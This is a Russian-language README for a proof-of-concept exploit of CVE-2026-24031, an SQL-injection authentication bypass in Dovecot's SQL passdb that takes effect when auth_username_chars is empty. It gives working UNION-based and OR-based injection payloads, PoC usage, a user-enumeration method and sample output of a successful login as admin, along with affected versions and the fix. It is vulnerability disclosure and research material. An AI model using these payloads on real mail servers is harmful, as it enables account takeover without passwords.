
Автономный Python PoC для обхода SQL-аутентификации Dovecot: выполняет вход как любой пользователь без реального пароля и перечисляет имена пользователей на уязвимых IMAP/POP3-серверах версий 2.4.0/3.1.0.
Этот репозиторий содержит эксплойт для обхода аутентификации (proof-of-concept) для CVE-2026-24031 — SQL-инъекции в SQL-аутентификации Dovecot, появившейся в результате регрессии в Dovecot 2.4.0 / 3.1.0. В протестированной Docker-лаборатории (Dovecot 2.4.0 + PostgreSQL) PoC входит в систему как любой пользователь, не зная его настоящего пароля, а также может перечислять пользователей.
Предупреждение
Этот PoC выполняет неаутентифицированный обход аутентификации на почтовом сервере. Используйте его только против лаборатории, которой вы владеете, или против целей, которые вам явно разрешено тестировать. Он не изменяет состояние сервера, но задействует аутентификацию и может оставить в журналах записи о неудачных входах.
SQL-аутентификация Dovecot уязвима, когда администратор очищает
директиву конфигурации auth_username_chars (устанавливает пустое значение).
auth_username_chars обычно действует как входной фильтр, ограничивающий, какие
символы разрешены в имени пользователя до того, как имя пользователя подставляется
в SQL-запрос passdb.
При пустом значении auth_username_chars = значение передаётся в запрос
без sql_escape_string(). Сконструированное имя пользователя, содержащее SQL
метасимволы, таким образом становится частью запроса:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
Следующая полезная нагрузка заставляет запрос вернуть строку для VICTIM с
паролем, выбранным атакующим:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} обрабатывается Dovecot (а не базой данных), поэтому схема пароля
обрабатывается нативно, и трюк работает на pgsql, mysql, mariadb и sqlite.
Отправка 12345 в качестве пароля затем приводит к совпадению, давая LOGIN OK как VICTIM,
без знания настоящего пароля.
Результирующий запрос:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
Это регрессия, появившаяся в Dovecot 2.4.0 и присутствующая также в 3.1.0. Более ранние выпуски 2.2.x / 2.3.x экранируют имя пользователя и не уязвимы. Ошибка исправлена в 2.4.3 и 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).
Уязвимость применима только когда все следующие условия соблюдены:
driver = sql) с использованием pgsql, mysql, mariadb или sqlite;auth_username_chars = (пустое) — условие срабатывания, заданное администратором;PoC был проверен на Dovecot 2.4.0 (официальный тег релиза,
daeb6bc5) + PostgreSQL.
Выполните аутентификацию с именем пользователя ' OR '1'='1' -- и произвольным паролем. На
уязвимом сервере запрос изменяется, поэтому Dovecot возвращает
a1 NO [UNAVAILABLE] Temporary authentication failure. вместо классического
AUTHENTICATIONFAILED. Это признак того, что имя пользователя достигло
SQL-запроса без экранирования.
Выполните аутентификацию с именем пользователя:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
и паролем 12345. Строка UNION переопределяет столбец password для
VICTIM, а {PLAIN} обрабатывается Dovecot, поэтому проверка пароля завершается успешно.
Поскольку форма результата запроса различается для случаев «пользователь существует» и «пользователь не существует» (количество строк и статус ответа), сервер раскрывает, существует ли имя пользователя. Это работает против всех затронутых бэкендов.
PoC — это автономный скрипт на Python 3 (только стандартная библиотека). Запустите уязвимую лабораторию и выполните эксплойт:
./run.sh
run.sh собирает и запускает Docker-лабораторию (lab/docker-compose.yml), ожидает
IMAPS на 127.0.0.1:14193, а затем запускает PoC. Лаборатория собирает Dovecot
2.4.0 из официального релизного tarball с намеренно уязвимой
конфигурацией и базой данных PostgreSQL.
Эквивалентные ручные шаги:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
Параметры PoC:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
База данных лаборатории содержит следующих пользователей: admin/admin123, alice/alicepass,
bob/bobpass, postmaster/postpass и victim/supersecret. PoC
выдаёт себя за admin, не зная его пароля.
PoC был проверен полностью в Docker-лаборатории. Реальный пароль пользователя admin —
admin123; PoC входит в систему как admin, используя 12345.
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
Полная очищенная запись, включая контрольные проверки и шаги обнаружения
отсутствия экранирования, находится в
docs/example-output.txt.
Анимированная демонстрация в начале этого README (assets/CVE-2026-24031.gif) была
записана в реальной сессии против запущенной лаборатории. Пересоберите её с помощью:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh управляет живой демонстрацией; demo.cast — это исходная запись asciinema,
используемая для создания GIF.
Рекомендация (OXDC-ADV-2026-0001, DOV-8781) уже выпущена в апстриме;
Dovecot 2.4.3 / 3.1.4 экранирует имя пользователя перед его подстановкой в
SQL-запрос. Поэтому исправление не дублируется в этом репозитории.
Рекомендуемая мера защиты — никогда не очищать auth_username_chars или обновить систему
до исправленной версии.
Обнаружение уязвимости: whisperer@yeswehack.
Исследование и реализация эксплойта: A. Ramos <[email protected]>
(Twitter: @aramosf).
CVE-2026-24031 PoC — обход SQL-аутентификации Dovecot (обход аутентификации + перечисление пользователей)
| Версия | Статус |
|---|
| Dovecot 2.2.x | Не затронут (имя пользователя экранируется) |
| Dovecot 2.3.x | Не затронут (имя пользователя экранируется) |
| Dovecot 2.4.0 | Уязвим (регрессия: имя пользователя не экранируется) |
| Dovecot 2.4.3+ | Исправлено (имя пользователя экранируется) |
| Dovecot 3.1.0 | Уязвим (та же регрессия) |
| Dovecot 3.1.4+ | Исправлено (имя пользователя экранируется) |